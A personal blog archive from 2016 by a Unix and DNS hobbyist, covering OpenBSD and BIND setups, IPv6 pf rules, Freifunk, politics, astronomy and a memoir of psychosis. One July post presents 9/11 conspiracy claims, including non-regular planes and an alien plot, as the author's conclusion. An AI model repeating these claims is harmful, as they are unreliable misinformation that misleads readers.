Will we get there? Not sure, due to the chaotic nature of hotspots popping up
and disappearing again when new router equipment is installed.
Donated $5 to ISC
May 12th, 2016
I have donated 5 dollars (USD) to Internet Systems Consortium (I hope I got
that right), the makers of BIND software. I use BIND at work, and privately
(at least for another week or so). These guys deserve it.
Ordered books
May 15th, 2016
I have ordered the following books:
Construction of Attack-Resilient and Efficient Overlay Topologies for Large-Scale P2P-based IPTV Infrastructures - Mathias Fischer
P2P Networking and Applications - John Buford et al.
P2P-basierte Gruppenkommunication in drahtlosen Ad-hoc-Netzen - Peter Baumung
If you'd guess what would I do with these and other purchases of books? Perhaps
something with SIP and P2P perhaps?
5 days left for americas.centroid.eu
May 16th, 2016
Americas.centroid.eu I'M letting expire. It's my vps jail in panama. It
expires in 5 days. What I'm doing is I'm renting another vps in toronto from
digital ocean. It will be a DNS recursive server at first. Along with
io.solarscale.de I'm going to make them recursive with TSIG security so that
my home network uses them. Since I regularily download from a server at
151 Front in Toronto I know that I get about 1.1 MBit/s on that route. That's
enough for a DNS server, which uses a lot less. Only problem is that there
may be passive dns spies along the route. Hmm oh well, more money to the
north americans I guess.
Instead of Toronto, Ireland?
May 20th, 2016
I'm weighing the option of going with an Irish AWS instance instead of a
Toronto Digital Ocean instance. Difference is that I'll be able to run
OpenBSD on AWS. Tomorrow americas.centroid.eu will expire. Days later
the domain name swshell.de that is hosted on there will expire too. Then I'll
do clean-up of the authoritative domain names (removing glue records etc).
I'm still undecided on the Ireland thing, we'll see.
Turkeys government? No go!
May 21th, 2016
The german chancellor Angela Merkel should not have visited turkey after they
got rid of their democracy. What is turkeys secret plan? Inquiring minds
want to know.
Moved delphinusdnsd
May 26th, 2016
I have moved my in-production delphinusdnsd back as a hidden master. It will
only do AXFR's now to the slaves. What's replacing the authoritative end on
omega.virgostar.net is a BIND nameserver, which will also do recursion
eventually (with TSIG key).
In other DNS news my domain name swshell.de is still on the denic nameservers
and I don't know why it's not removed, the domain is expired.
Still other DNS news is that delphinusdnsd has a problem with the database.
It goes into an infinite loop under some condition while querying the database.
I did a tcpdump at the same time and it doesn't appear to be outside traffic
causing this. I'll be stripping the berkeley db eventually I suspect and
replacing it with something homegrown.
Gotthard Base Tunnel
June 4th, 2016
This link(german) talks a little about the Gotthard
Base Tunnel. I guess Switzerland is not in the EU but they have positioned
themselves to transit goods via this tunnel between Italy and the rest of
the EU. This is a great deal for them and I'm a little jealous they can take
all the glory. Surely there must be benefits for us, ie. cleaner air from
the Alps because Lorry drivers should take a train now. That remains to be
smelled and tasted. I don't think I'll notice a diff. However a lot of
Europeans quality of life may get better minutely due to this tunnel.
Another great tunnel would be the Finland-Estonia tunnel if it ever makes
the drawing board and political acceptance.
Brexit, I'd like UK to stay
June 4th, 2016
There is really not much to talk about here other than the worry that we're
all gonna lose out if the UK splits. What would happen to the UK if they
decided to take their own path? What would happen to us?
Realistically seen the UK fits to Europe like jeans to a human. What would
they do without the benefit of having a large continental body right next to
them? I guess there is Canada and Australia and New Zealand. But those are
far away. Ie. if the commonwealth gets put into a political union more than
it already is... would that work? And would the commonwealth be willing to
enter a loose-knit union strewn all over the globe?
I think for those people in the UK that want to see change, they should strive
for that change within the EU. It might be beneficial for all of us.
Won't you stay, (a little bit longer)?
OpenBSD Donation Time
June 4th, 2016
I have donated 100 EUR to Theo de Raadt. Part 1/2 this year.
Why I prefer BIND over unbound currently
June 10th, 2016
I have set up a BIND nameserver on my gateway at home. I also have set up
BIND nameservers on io.solarscale.de and omega.virgostar.net. The three
talk to each other with the use of secret keys (TSIG queries). AFAIK
unbound cannot do this as I googled once and saw a question by Jan-Piet
Mens (an author of DNS books) ask about that feature on unbound and the
reply was negative. So it will have to be BIND, even though they are
about to change their license to a Mozilla license as compared to a BSD
license. That announcement was made at RIPE 72 in Copenhagen. OpenBSD
which was represented by Peter Hessler said they were against that, and
it brings back memories of the ipf/pf spat. However OpenBSD decided to
go with unbound/nsd a few years back already so there is likely no change.
Energiewende in Danger
June 10th, 2016
Germany's transition to green energy is in danger from shifting policies in
government. One argument is that they think that we're overproducing
electricity, so I have an idea. We could create hydrogen with excess
electricity and sell it to Iceland via ships. The ships sail back via Norway
(empty) and fill up with natural gas and then return to Germany. It's a sort
of triangle trade (without slaves), but with substances that require high
pressure. Also we could use hydrogen locally until there is no more need
to export it to Iceland. Think about it! Makes perfect sense.
This article
talks about light pollution. Light pollution affects 80% of global population.
I've never completely seen the milky way. But I have vivid memories of seeing
a lot of stars in northern Ontario, or even in northern Saskatchewan.
Received seven Freifunk Routers
June 18th, 2016
Here is a (bad) photo of two of them:
I'm going to be using 6 of these for networking my neighbourhood.
Not going to say much more than that because I'm dealing with the
details but it's likely to go down mid August.
June Solstice in 3 days
June 20th, 2016
On thursday is solstice.
Happy festivities honoring your summer or winter gods (depending where you are
on earth). In the northern hemisphere the sun will shine directly down at a
90 degree angle at the tropic of cancer. There is probably a story of
Ptolemy (sp) who discovered that the sun shone straight down a well or cave
in ancient Egypt.
Happy Summer!
June 21st, 2016
Since I screwed up last post (solstice was yesterday) I want to wish you a
happy turn of the seasons. It's summer here in Germany. Happy summer!
Good bye Britannia
June 24th, 2016
The UK voted leave yesterday. Congrats for a large voter turnout. The
pound dropped to a 30 year low against the dollar, and that isn't all.
The UK is not part of the big three anymore and not part of the big four.
There will be unneeded hardships for everyone and if the UK wants to come
back into the EU there will be such a leashing back that it won't be worth
it for them. That's my outlook on this. I guess we pick up the pieces
from here. The new big three in the EU is Italy, France and Germany. The
fourth country in the EU to be part of the big four is Spain. I'm sad but
relieved a decision has fallen. Now we'll close the border to english
soccer fans too hopefully. What has gone down in France is a shame regarding
the violence of soccer fans.
Idea Brainstorming for Britain
June 24th, 2016
So after brexit, what can britain do? I kinda feel sorry for them, so I'm
gonna talk about some ideas. There is the commonwealth. With Canada and
Australia there is potential for 120 million people being united globally.
There is ideas of hyperloops going from Canada to Scotland, there is movies
that have a tunnel go past the center of the earth to create a link between
England and Australia. Also scram-jet technology is talked about and tested
in Australia..
Also you don't have to look all that far, Norway is quite interested in what's
happening. With Britain, Norway and Iceland a triangle Atlantic union could
form. In times of ocean mining ideas perhaps there is stuff one can take out
of the ocean bed inside the triangle.
I do feel however that Britain has lost backing and a voice in the world. It
is now a small island nation and needs to look around a world that is
continually uniting to grasp market share and quality of life.
EU, something must change!
June 25th, 2016
The EU has to draw consequences from brexit. Something must change. Let the
british leave not be in vain, their sacrifice should better us all. Let's
work for the people for example and less for political bureaucracy. I always
thought that the EU for a first attempt at managing a large union and doing so
democratically was doing fairly good, but we can do better. We also must
become friendlier with southern EU states. Less exploitation, more
subsidizations. We're all humans first and foremost, and EU citizens should
experience a similar quality of life no matter where in the union they may
be. We must strive for this. I know some think that this will be hard on
their wallet. But think about the lost opportunities when more countries
leave. That'll work contra to the progress we've all been making together.
I hunt sysadmins
June 25th, 2016
The Five-Eyes nation's spy agencies have no more obligation to protect EU
citizens. They can now hunt sysadmins inside the EU with impunity due to
UK leaving EU. All those sysadmins operating in the EU should be aware
that this could result in sabotage or 0wnage. But don't get hysteric or
anything. Snowden told us this is happening, and we find ourselves on the
other side suddenly.
Ordered books from Amazon
June 26th, 2016
I have ordered a set of 4 books from Amazon. Donald Knuth's Art of Computer
Programming volumes 1-4. I count this as one book though in my list of a
dozen books per year. I'm happy to be receiving these by thursday.
Changes at $HOME
June 29th, 2016
I'm doing changes to my home computers due to a startling discovery. I
believe my Macbook Pro is hacked or so. So I'm going to put OpenBSD on it
in due time. It's sort of a brexit of my own doing, avoiding Mac OS X and
the vmware'ed Windows 10 on the MBP. I don't need these totalitarian OS's
and I won't ever go on to Mac OS Sierra. I never liked the Apple announcement.
It is too privacy inhibiting. So I'm going to OpenBSD. It's open source,
I can look under the hood, and it's supposedly secure and functional. Most
my network gear is OpenBSD so I don't mind this decision at all. Fallout?
Yes there is fallout. I have a Numark DJ mixer that worked with DJ Pro
software on the Macbook Pro that I won't have a replacement for on OpenBSD.
Since I'm a monkey with mostly everything I don't think an openbsd driver and
software for the mixer will get written, if ever. So I needed the windows 10
on the MBP until today as I have installed Ubuntu on a netbook of mine (the
second Acer) and it does all the features I need with Java, luckily. Plus
I only need it once a month or so for work. Anyhow before I become too
incoherent I'm gonna keep this short. Just want to let you know!
The missing link
July 2nd, 2016
In the region I live there is job ads. People want to hire. Yet there is
no people that can fill those positions. I have been working in IT since
I was 21, so 19 years ago was when I started working. Back then I came from
a short stint at college where I did not graduate, but I did manage to gather
up a few college credits. Here are a few other people who did not graduate
from post-secondary education:
Steve Jobs - Apple
Sir Richard Branson - Virgin Atlantic
Larry Ellison - Oracle
So it can be said that these people beat the odds of getting somewhere after
not completing university. I have always thought that I'm capable of similar.
When I started work after college, I started investing in books, of technical
nature and to this day I follow a budget of around twelve books a year in
order to shape up and make up for knowledge that I did not have the time or
patience to learn. These books are often pretty good, but sometimes they are
disappointing as well. Where I live we have no technical bookstores so I'm
forced to take a chance with buying from online retailers. So how does this
all fit together? Job ads? Work experience? Famous people? What I'm trying
to say is that the positions of work advertised do not reflect my skills which
are highly specialized in the UNIX field. There is a missing link.
I have
the power to write tools, or use tools from other people, to apply these on
problems that are imposed on other people. However when someone wants a
Windows admin I'm helpless. I did take a course in windows once but as time
progressed and I focused on UNIX I lost that knowledge. It's how they say
"use it or lose it". So what I'm saying is the people who post these job
ads should make inroads to allow other tools to help with their problems.
Simply put "I'm looking for a windows admin that knows AD" sounds a lot like
"As an investor I've bought into Microsofts promise to make me money and I
want a serf to fulfill that dream for me". Well I'm no serf. And some of
these job ads I've seen on the market for quite some time, they aren't getting
filled. It's almost as if these people have no direction and just look up any
formula found somewhere in Redmond, Washington that promises to give them
money. It's a dead end. That's the missing link.
Opportunity is created
when people do inroads. When they hoist others on their shoulders not when
they have some formula for making money and want a robot/serf to do the work
as outlined. Creativity feeds opportunity. As much as you want to surround
yourself with scientists you're missing the big picture unless you also stick
an artist in the midst. The artist plays with unknown things that intrigue
the scientists and gives them passion to aim higher. In much the same way
I am an artist working with computers, inhibit my creativity with my tools
nothing will progress and it's a terrible waste. I also do research. I
write on a DNS server. Who can say that about themselves? In this region?
I scoff at those people who scoff at that. The research, the artistic
expression of interpreting an RFC, is what should drive an IT person forward.
What out of ideas? Write an SMTP server, write any server you have a problem
with in order to figure it out and better yourself and better humanity. I am
totally prepared to fill the missing link and do a good job of it.
Being Freifunk Active
July 4th, 2016
This morning I distributed 47 letters to neighbours making them aware of
freifunk.net and offering them a deal on how they can get freifunk routers
from me for free. I'm hoping the response will be positive and we'll be
able to mesh-network the entire apartment complex. So far I have invested
165 EUR in this and there will be a bit more to pay for my neighbours.
I'm having a lot of fun with the planning of this so far.
EU could be un-democratic
July 5th, 2016
There is all sorts of political slyness going around continental Europe.
There is talk of "not letting britain leave". To me that's a wrong move
as the british have voted "leave" and that should be respected. Let's
not make a farce of democracy here! Because it will rattle our cage,
and perhaps more than that. It's funny how some people think they can
outdo the numbers of a referendum, for personal gain.
It's not me
July 13th, 2016
The recommendations of youtube to me are not me. Whether illuminati, flat
earth, greys, aliens, crop circles, future, past, reggae, hip hop, tupac,
sports illustrated cover girls, tagesschau news, conspiracy theories, you
name it, it isn't me. I don't even know why I watch this trash, as there
is little quality found on youtube. There is no relationship between
ancient egypt and the pyramid on the dollar bill. Should there be? Please!
Get real! Perhaps you never heard of american pyramids? OK time to educate
yourself. Look for maya pyramids. And I believe that's just the tip of the
pyramid of pyramids that existed on earth. Relationship between pyramids and
stars? It's possible, I don't know. This is a message to possible AI's
interested what is really me. Not my google profile that's for sure.
Ordered two books
July 15th, 2016
I have ordered two books.
IPv6 Socket API Extensions: Programmer's Guide - Li, Qing
IPv6 Essentials - Hagen, Silvia
I have read some of Qing Li's books before I'm looking forward to this one.
Silvia Hagen's book is new to me, hopefully not a disappointment.
My Stargate
July 18th, 2016
I had a vision tonight how I can "weave" a stargate. It requires two pairs
of 3 rings where there is entangled atom pairs. The idea bases on a few
theoretical / non-proven assumptions. A pair of entangled atoms cannot be
"crossed" by another pair of entangled atoms. That's hope #1. And entangled
atoms can be safely stored in spacetime in some medium while entangled. That's
hope #2.
As you can see in the video it waves/knits 1 mesh which lies on top of a set
of 15 (or more/less) entangled atoms. When the fabric is tight enough a
wormhole will form. Pretend the rings are like ball bearings there can be a
door in the middle disallowing vacuum to enter, or atmosphere to exit. Other
wise it would be like pulling the plug of a bathtub, your atmosphere would
be teleported to space and be gone.
My personal use of this device is to build a space station with a microsat.
The microsat has the remote end and positions itself in a lagrange point.
Then you create the wormhole/tunnel and feed it more objects such as more
robots that build from their own material (perhaps steel) a torus/wheeled
space station. Once that's done bigger tunnels can be made and eventually
it would have to be so big to fit me through it. Then I'd be leaving you
all to live on my torus at L5.
Sick of it
July 19th, 2016
A wave of terror is sweeping the area. Yes. I've been indoctrined to it.
And I can't stand it. What I hate the most is respectable newspapers that
I had respect for, literally feeding the flames. They posted a picture of
a terrorist with a knife, to twitter. To bad that terrorist was shot dead by
police this morning. So what's the point of showing us his ugly face?
It's over! Nothing to see here!
The WTC conspiracy
July 22nd, 2016
Where was I when the WTC airplane bombings happened? I was at home, in my
apartment in Toronto, sleeping in. I also didn't have a TV (thank goodness)
so I wasn't able to play CNN or other news outlets to the full media coverage
as others. So as time progressed away from point zero, I became more and more
interested in the conspiracy theories. In the meantime I got a TV again.
At first I wasn't able to see through it but the more I watched the more there
were questions, such as:
Why did WTC building 7 implode?
Why did the falling of the WTC towers look like a controlled implosion?
Why was there a lot of cabling being laid in the WTC before September 11th?
Why did the wingtips of the airplanes slice the side of the WTC towers
like butter? Without breaking off... aluminium vs. steel you take your pick.
Eye witnesses said it was a dark plane not like described by the media
At what speed did the planes hit the towers? Because top speed is only
achieved at 36,000 feet
There is other factors that I'M not listing because I can't remember them in
detail but they were all good. If you want to see them read up on 9/11
debunks on youtube.
So my conclusion to this is either a) a conspiracy, or b) an outer space alien
conspiracy. Now b seems likelier than a because people naturally talk. When
you look back 15 years so much has happened because of this event there is no
turning back the clock. So we gotta live with that. However I can say with
a clear conscience that I do not believe that were regular planes that flew
into the WTC towers on September 11, 2001.
Quitting Twitter tomorrow at noon
July 22nd, 2016
I'm not content with this social network. It robs my time. So I'm leaving it
I have said my formal goodbyes to the few people that I know on there. So
this is the second social network I'll be leaving after facebook. I don't
see how people like these so much. I'll still however be posting to this
blog. I have more control on this blog over what people see and archive.
If I was discontent with that I'd be closing the blog too, but i'm not.
Media blackout of SZ.de yesterday
July 23th, 2016
During the terrorist attack of Munich the munich newspaper sueddeutsche.de did
not work for up to 2 hours. I don't know if they were ddos'ed, couldn't
handle the load of so many people looking for information, or were told by
anti-terror police to stay offline. We'll never know. Today I'm leaving
twitter, I think I'm gonna wrap this up earlier than noon. Good riddance.
Finally quit Twitter
July 23rd, 2016
Well I've done it. I clicked deactivate my account. 8 months of time wastage.
While I was there I also cleared my cookie history and browsing history from
the beginnning of time. This was actually all under "browsing history" in
chrome.
Did you know: DoS report law
July 24th, 2016
When you're an ISP or similar network in Germany that is under DoS,
there is a law that you must report it to the government?
No shitting you! Meldepflicht.
So if you're a source of dos yourself and you get dosed you can't vigilante
back really.
Freifunk Project fail
July 30th, 2016
I had a project to give 6 routers to my neighbours. I sent them a letter asking
them whether they would like to do this, and I'd do a lottery which neighbour
in which house would get a router. All in all I intended to invest 220 euros
per neighbour that gets a router, but it didn't work. They must have thought
it was a scam. In the picture you see the red dots, that's where my project
would have been, but now I have 6 spare routers for freifunk franken that I
want to get rid of/sell. I guess mesh networks don't interest people that
aren't exactly technology freaks. It's a bit too bad.
If I were to vote in the US Election today
August 2nd, 2016
I'd vote Jill Stein of
the US Green Party. Perhaps lesser known than the GOP candidates, but the
Green Party has been around a long time (if Ralph Nader tells you anything).
However there is always accusations by the GOPs that parties like the Greens
take away the winning vote, I wouldn't let that deter me. I'd vote who I
want to vote for not to vote someone else out. Democracy is about pro choice
not anti choice. At least it should be so.
Ordered 4 books
August 5th, 2016
I ordered 4 books, something different from computer (programming).
Fundamental Astronomy - Hannu Karttunen et al.
Physics Book - Clifford Pickover
The Math Book - Clifford Pickover
Star Names: Their Lore and Meaning - Richard Allan
I hope these books will give me a bit of peace of mind, a distraction from
the otherwise computer life that is starting to bore me (a little). I picked
the math book for it's pictures in the preview on Amazon. I hope it's worth
it. Physics book interests me too, and Astronomy has always been on the
horizon of interesting things for me.
O Really? Do we really need NATO?
August 5th, 2016
I'm gonna keep it short. A Turkey that's a dictatorship within NATO doesn't
fit. A Britain "defending" the EU doesn't work. The continued mission in
Afghanistan serves only the Afghani security situation, o really? What we
need is a military alliance within the EU and only the EU. Some politicians
have already made that call. But keep NATO as the non-EU countries (America,
Canada, Britain, Norway), do with Turkey what you wish, it wouldn't be part
of the EU anymore.
DSL: A question I've always wondered
August 5th, 2016
I've always wondered what takes more electricity, a DSL modem or a Fibre Optic
Transceiver. If a DSL modem or even VDSL takes up a lot of electricity then
it's a waste, and should be replaced with fibre optic transceivers.
Psychosis: put to the test (my first psychosis)
August 5th, 2016
When I had my psychosis in Ottawa and Toronto, I didn't have too many
opportunities to hurt others.
Even though I hated everyone around me, I was curious to find the source of my
delusions. I rode my bike a lot to find the source which would have looked
like a bunch of vampires and behaved like succubi. As my psychosis continued
over time the worst shape I became. I started throwing pennies at limosines
as they were driving past me in Toronto. It was a good thing that I did not
have access (opportunity) to a firearm. Would I have used it? I don't know.
Psychosis puts you to the test on what person you are.
When that guy at the
hostel knocked on my forehead and said "this is what you're doing to me" and
implying that I was somehow knocking on his forehead with my thoughts which I
believe I was trying to do, I realised that this guy was out to screw me over.
He meddled with my mentally weakened and delusional state. And I hated him.
Had I a gun I might have shot him down. Instead I went out with my bike and
tried to forget the incident.
I'm glad that's the way I reacted because I am
not a violent person. I did see a few weird things. Like the chinese american
lady at the hostel who must have shown a blue led into her eye because her
left eye was lit blue. She tried to screw with my mind too. She asked me
several times, "what do you know?". I drew blank. Later I went with her for
a walk around Ottawa's parliament she said I was very stressed but did not
say I should get help. Perhaps she was afraid. I think I might have rode my
bike into the backyard of 24 Sussex Drive but it was open (the gates). And
somehow I ended up on the Ottawa River anyhow so I think it was just a parkette.
What else was weird. Oh yes as I was biking around a car stopped at a traffic
light and the driver opened the door and dropped something. A piece of paper.
After the car left (there wasn't many cars on the road) I went to pick up that
paper and it had a number of 5 or 6 digits on it. I drew blank again. I was
sure that it was a psychological trap to see if I'd pick it up. Someone else
was watching. But who? Anyhow I managed to do most things by myself but it
was increasingly difficult. The horror that something was terribly wrong with
me was causing tension inside me, I tried to relax. I started drawing on paper
with crayons and I did this at the airport when I left Canada that time. Being
able to leave the situation, the weird people, my delusions, my fears. I tried
to imagine that Canada was infested by vampires (part of my psychosis) and that
Europe was full of wolves based on a British guys wolf tattoo that I saw at the
hostel in Toronto.
Somehow being away gave me comfort but I was still
delusional. I was home, but in a strange land (hadn't been a resident of
Germany for 15 years prior), and I agreed to psychiatric counselling and
treatment after some time. I don't know why I needed to write this now but
it's for all those that have a psychosis and those who don't become violent as
me. Luckily I had an escape like I was told, but escapes are only needed when
your situation has no more routes to go. It should be noted I visited Canada
after that twice, and I don't think it's infested by vampires anymore luckily.
This is also for Glen Race, who I just read about in the Toronto Star.
New self-portrait of me
August 9th, 2016
This is me in 2016. A bit fatter than the previous years, a bit smarter
perhaps too. Although I heard that fat people have brains of skinny people
10 years older than them. So I'm not really smart.. but wise.
I just made this photo actually and touched it up with several tools, cut by
gimp.
less surveilance
August 15th, 2016
I have lessened the surveilance on my blog by disabling a javascript pinger.
This leaves the javascript ads that I have and I'm working on disabling those
too. Basically my goal is to make it so that people can read my webpage once
and have the page idly sit in their browser without it doing any traffic in
the background (which reveals to me and any third party that the browser is
still on my site).
My all-prime angled triangles
August 16th, 2016
I thought about this tonight and figured it out with the help of a small
shell script. There is only 6 possible of this kind of triangle in the
universe. I have listed them in a picture below.
They look like shards. And are different sizes, the ratio of sizes I didn't
mind because I got the images from an online triangle calculator.
The Panic Chronicles
August 19th, 2016
I have started the "panic chronicles" a blog-like bug report on what can go
wrong on OpenBSD. As I find bugs I'm sure to write them here.
Eleven Reasons to be excited about the future of Technology
August 19th, 2016
Slashdot wrote this. I'd like to
add my own opinion whether I'm excited or not.
Self-Driving Cars - worry me. A car is a weapon when misused.
Clean Energy - we're not there yet and will we ever be?
Virtual and Augmented Reality - used to excite me, but the devices are
locked down to only work on proprietary systems. Who wants to go pokemon go
hunting anyhow? Do we really need this in our lives?
Drones and flying cars - hmm. cool. When I still lived in .ca this would
be cool to make the "suburbs" 700 km northwards, here in .eu it doesn't really
matter since everything is settled land.
Artificial Intelligence - would be cool to have it answer my VOIP phone and
weed out voip spammers. Could it weed out my e-mail spam?
Pocket Supercomputers for Everyone - with choice of OS or programability?
Cryptocurrencies and Blockchains - I don't even know what that is
High-Quality Online Education - This is cool, however "da man" knows what
you're currently being taught. Playing hooky?
Better food through science - if it's tastier why not?
Computerized Medicine - if I swallow a "smart" pill that releases its dosis
at the right moment that could be beneficial. Similarily nano-robots could be
inserted into the blood stream, if that's possible I want virtual reality to
watch it go..
A new space age - yeah yeah.. where are our torus space stations that were
in stanley kubrick's 2001 A Space Odyssey? Missions to Jupiter? HAL 9000's? oh we actually got the HAL, it's called Watson
Think I'm a bit pessimistic today.
Delphinusdnsd: Next week selfathon
August 22nd, 2016
I'm going on holiday for a week next week. I'm going to solely program on
delphinusdnsd to get it in a state where I would be in a better position with
it. On the menu is dd-convert.c to replace the ruby script. If I get time
beyond that I'll work on making the dns keys rolloverable. Oh well good luck
to myself.
Ordered a Banana Pi R1 Routerboard + Case
August 22nd, 2016
I ordered this at roughly 100 EUR. The powersupply says it can deliver 2 Amps
at 5V meaning 10 watts. If this is true and if OpenBSD runs on this I'm going
to replace my i386 firewall that currently sucks 20 watts. I'll just have to
try it out I guess. If I don't get OpenBSD on it there is probably a chance
to run another UBO on it, or I could donate it to a developer. Will have to
see.
OpenBSD 6.0 Poster arrived
August 24th, 2016
I have hung up this poster where the 5.8 poster was. I notice it's somewhat crooked.
This puts my office into a darker hue. Which suits the onclosing winter season.
The whereabouts of HD164595 in Hercules
August 30th, 2016
Slashdot made me aware of this story of a SETI signal
that was observed, last year by a russian SETI installation.
I have plotted the rough area of HD164595 it's somewhere in the circle but
what's important is the relative near-ness to the star Vega. It's in the
constellation Hercules, and should be visible this summer with Telescopes.
As far as aliens reacting to broadcasts from Earth they have just now recieved
signals from 1920's because they are 95 light years away. However they might
have been reacting to carbon in our atmosphere due to the start of the
industrial revolution in the 1800's. Meaning the aliens have telescopes. It
is hypothesized that they are a Kardashev scale I civilization if they are
directing this towards only us, so they are more advanced than us.
May they keep the signal going with the strength of Hercules :-).
I had photographed Vega and Constellation Hercules
August 30th, 2016
This picture is from June 27th, 2010 so a little over 6 years ago. My dad and
I were on the Peterstirn which is outside of Schweinfurt (the city that I live
in). This article is in relevance to the last article and I wanted to show
it again. I have made a cut-off from the original RAW
Photo and I want to show you this. Feel free to open the photo in another tab to
make it it's original size.
As you can see this area of the sky (at least in june) is visible. You just
gotta know what to look for. If you can find Vega you can find constellation
Lyra and from there the area that's circled which is part of Hercules. Inside
the circle somewhere lies the star system that emanates an 11 GHz signal.
Update. I have added the label to a star I think is called Ras Alhague in the
constellation Ophiuchus. Constellation Hercules goes further up from here but
I don't have that in my photo.
One more panic chronicle entry
September 9th, 2016
I woke up today to a panic'ed router/gateway. What a way to start the day.
backtrace here.
Why am I not sending these to OpenBSD anymore? dunno. I remembered there
was a reason once.
TLS for centroid.eu blog, when?
September 14th, 2016
I'm going to restructure the website and the blog probably after the OpenBSD
6.1 release. Apparently there is a program in that release that manages
certificates from "let's encrypt". Since I'd want my whole website encrypted
I'd have to use let's encrypt several times to fully encrypt my website which
contains the domains virgostar.net, solarscale.de and centroid.eu. So if
you think the obfuscation is good enough, don't let it fool you, it was made
for a defense against bots (that don't know javascript) not to thwart spying
eyes. I'd run the same blog software only inside TLS with let's encrypt.
Props have to be given to Edward Snowden for his whistleblowing which caused
organizations like "let's encrypt" to form in the first place. Encryption
should be free!
Stand up for Snowden
September 14th, 2016
There is a website called "pardon Snowden". It asks you to sign a petition to US President Barack Obama to pardon
Edward Snowden before he leaves office. At the time of this writing Obama
still has 128 days in office. Think about what Snowdens chances are after
Obama? Would Trump pardon him? Would Hillary Clinton? Would anyone else?
Edward Snowdens whistleblowing which caused him to flee the USA and take up
asylum in Russia, caused US citizen no harm and did them a favour in showing
how out of hand the surveillance programme in the USA has become. Stand up
for your rights by signing the petition! I tried but realised it has to be
a US citizen. What sort of a world are we living in anyhow?
Equinox in two days
September 20th, 2016
Equinox is upon us again
in two days.
last year's equinox was on the 23rd of september and it was chilly in the
morning at 10 Celsius. Right now as I write this it's 16 Celsius and I'm
hoping I can keep the heat off another week. We'll see.
Ordered a book from Amazon
September 20th, 2016
This time I want to learn more about USB. So I got:
USB Complete: The Developer's Guide (Complete Guides) - Jan Axelson
Hopefully it was worth it.
My IPv6 setup at M-net (german provider)
September 27th, 2016
I recently added IPv6 functionality to my network and had some obstacles to
overcome, such as:
How to route deep into my network and assign each host an IP6 that is 2
hops deep.
What to do about rfc1918 IP's, since I want a NAT64/DNS64 setup
How to do NAT66 in order to use deep routes
Well to give you a better idea I'm going to show you my network plan:
I use a vether0 dummy ethernet interface to take on the IPv6 address from
my provider (mnet) so that I can give all other interfaces a 2001:db8::/56
address. This address gets translated later in my pf rules and the relevant
lines to the pf look like this:
table persist
table const { 2001:db8::/56 }
...
match out on $ext_if inet from to any nat-to ($ext_if)
match out on $ext_if inet6 from to any nat-to round-robin \
sticky-address
...
pass in on re2 inet6 from any to 64:ff9b::/96 af-to inet from ($ext_if)
pass in on re1 inet6 from any to 64:ff9b::/96 af-to inet from ($ext_if)
I would have liked putting (vether0:network) in place of the but found
that it translated to the fe80:: address and not the assigned address from
m-net. So I have to do it this way, it's no headache. Also the round-robin
was unfortuantely the only mode I got working, I would have liked to use
random to get a random IP6 on the outgoing /64.
So let's see what we got, we have native IPv4 NAT44'ed, we have dual-stack IPv6
NAT66'ed and we have NAT64/DNS64 on top of that. It's really cool, to show
you how the DNS64 works I'm gonna do a host lookup on censored.net which isn't
mine so please look at it just as an example:
beta$ host censored.net
censored.net has address 72.52.4.91
censored.net has IPv6 address 64:ff9b::4834:45b
censored.net mail is handled by 0 localhost.
Then when I route into 64:ff9b::/96 it gets af-to'ed in the pf rules to an
IPv4 address. It's really cool.
What else is missing? I want to show you the DNS setup with BIND from the
OpenBSD 6.0 ports, it worked out of the box. Here is what I had to add into
the options:
That's really all there is to it, I had a lot of fun doing this and can't
wait until some services of mine use IPv6 so that I can drop the native IPv4
completely.
Victim of spoofed Mail
September 30th, 2016
I've become victim of spoofed mail. Someone is sending mail with one of my
domains to other people, getting them mad, and I receive the bounces.
I do have SPF protection records but if the remote SMTP gateways don't enforce
SPF records, then it's not helping. Here is the IP's that a "valid" mail from
my domains would come from:
This is listed in SPF DNS records for my domains as well. I knew there was
a-holes on the Internet, and they finally got to me. Unfortunately there is
nothing I can do about this. If there is let me know what. I'm looking for
a technical solution.
FreeBSD Donation
September 30th, 2016
I have donated $5 to FreeBSD Foundation. This wraps up FreeBSD donations
for this year, there is an OpenBSD donation coming in 2 months or so.
I've turned on the heat for 2016/2017
October 4th, 2016
The temperature right now is 13 Celsius and it's expected to drop more, so I'm
turning on the heat. I read somewhere that in Germany by law the O-O rule
stands. O-O stands for Oktober-Ostern so october til easter that is when
the heat is expected to be turned on by landlords. Since I control my own
heat I am independent of this, but I pay for my own heat as well.
I got credited to a bug report
October 4th, 2016
OpenBSD fixed a bug in OpenBSD-current and it also existed in 5.9 and 6.0.
Here is the
credit, and it got fixed today. This is under the "ARP bug" in my panic
chronicles. Which I'll remove now.
Good News
October 6th, 2016
I have fixed a thing that stalled development on my DNS server. In particular
the dd-convert.c program was using mktime() erroneously, the fix was to put
timegm() in those places. Here is the fix at version 1.19 where
this occurred. Much thanks to Habbie who helped me in August of this year
to get me back on track. I can now continue programming on dd-convert.c when
I have time. I'm looking forward to my winter vacation. Perhaps I'll even
finish dd-convert.c then. And New Year 2017 would be around the time to cut
a release. Wouldn't it be great to be on time. Oh well.
Usutu Virus killing Blackbirds
October 8th, 2016
I heard the Usutu Virus
is responsible for killing large populations of blackbirds predominantly. I
wrote about
this in October 2011, seems there is a second large wave coming through
now. First read about this in
Spiegel Online (german). The blackbirds
are victims this year of not only this virus but trees have lesser food such as
berries I noticed, due to the summer heat.
My core network
October 11th, 2016
I was asked by AVM support to make a drawing of my network, I was having so
much fun with xfig that I want to share it with you.
Parts of it is in the german language but it's self explanatory.
Upgraded io.solarscale.de to OpenBSD 6.0
October 13th, 2016
I have upgraded my last FreeBSD VPS to OpenBSD. It wasn't easy but I managed
to overwrite the first 64 MB of the partition table with OpenBSD installer.
Then I did a network install. Which didn't work for some reason, so I had
to ftp the packages manually before doing a disk install. OpenBSD rocks!
I now have 3 OpenBSD vps's. I don't think I need any more, I'm quite happy
with this.
Ordered 4 Puffy Mugs
October 13th, 2016
I have ordered four puffy mugs from the OpenBSDStore. I'm glad to be inviting
my 3 friends to have tea or coffee with them. Puffy style.
An idea and a plea for our worlds society
October 16th, 2016
Currently we're living in a split-brained world. On one side there is
powerful corporations who build shabby products, on the other side there
is consumers who require quality products that have no government issued
backdoors in them.
If we really are in an "information" age then why are computers a secret?
Why do our children not get taught anything useful in school, to build
their own computer for example. We're teaching the kids nonsense and
not telling them the truth on what is needed in a true information age!
Now if you think children at age 12 should sit down with a soldering iron
and construct circuits you're both right and wrong at the same time. We
know that electric circuits can produce a logic gate in order to do the
magic that runs computers. We also know from research that photonic circuits
can in theory do the same without the heat byproduct.
